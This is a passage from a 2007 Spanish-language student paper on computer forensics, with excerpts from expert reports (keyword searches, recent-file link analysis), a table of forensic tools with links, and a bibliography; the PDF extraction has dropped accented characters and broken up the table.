Caso 3: ... En base a los frmacos indicados en el Informe Tcnico Pericial Nro. 2 del Dr. XXX,
se practic un anlisis de datos sobre el disco rgido de la computadora con las siguientes palabras:
misoprostol, mifepristone, oxaprost y diofenac. Se especific una bsqueda exhaustiva de las
cadenas de caracteres mencionadas con el software ReadIT Versin 1.01, utilizado comnmente
en pericias informticas para anlisis de datos. ...
d) La contestacin a cada uno de los puntos de pericia, debe indicar cualquier observacin o
impedimento en la bsqueda de evidencia:
Caso 4: ...El anlisis de datos a nivel lgico confirma la existencia de un enlace a un documento
titulado "DDD.doc.lnk", en la carpeta \WINDOWS\Recent. Esta carpeta del sistema operativo
almacena los enlaces de los ltimos archivos accedidos por el usuario de la computadora. El enlace
referencia a un archivo localizado en la unidad de disco A:, lo cual indica que el documento fue
trabajado en disquette. ...
Caso 5: ... Dado que se hace impracticable realizar una impresin indiscriminada de todos los
archivos localizados, se tom una muestra de ellos, para localizar visualmente informacin relevante,
cuyos resultados son: un archivo (AAA.tmp) y dos visualizaciones mediante capturas de pantalla
(BBB.dbf y CCC.dbt) los cuales se adjuntan al presente informe....
4.2.
Nombre
Descripcin
Enhanced_loopback
Cononers Toolkit
Open
Source /
Comercial
O.S.
O.S.
Sistema
Operativo
Linux
(Kernel
NASA)
Linux
Link
ftp://ftp.hq.nas
a.gov/pub/ig/c
cd/enhanced_l
oopback
http://www.por
cupine.org/for
ensics/tct.html
#source_code
Incorpora un recuperador de
ficheros borrados (lazarus) para
cualquier Unix. Permite analizar
los procesos en ejecucin.
39
Grupo 3
1 Cuatrimestre - 2007
Recuperacin de archivos
borrados
O.S.
Linux
Windows
Comercial
Windows
Encase
Comercial
Windows
- Linux
http://www.sle
uthkit.org/auto
psy/download.
php
http://www.gui
dancesoftware
.com/
Visualizador integrado de
imgenes con galera
Permite principalmente analizar
la informacin relevada de un
sistema.
http://www.acc
essdata.com/
40
Grupo 3
1 Cuatrimestre - 2007
5. Bibliografa
5.1. Principal
Este trabajo fue realizado a partir de la bibliografa expuesta a continuacin. Se
extrajeron fragmentos y se utilizaron esquemas, convenientemente citados.
5.2. Complementaria
http://www.delitosinformaticos.com/delitos/prueba.shtml
http://www2.compendium.com.ar/juridico/leggieri.html
http://www2.compendium.com.ar/juridico/peri2.html
http://web.mit.edu/tytso/www/linux/ext2intro.html
http://www.softpanorama.org/Internals/unix_system_calls.shtml
http://ext2read.sourceforge.net/documentation/inside-ext23-file-system/
http://www.securityfocus.com/infocus/1738
41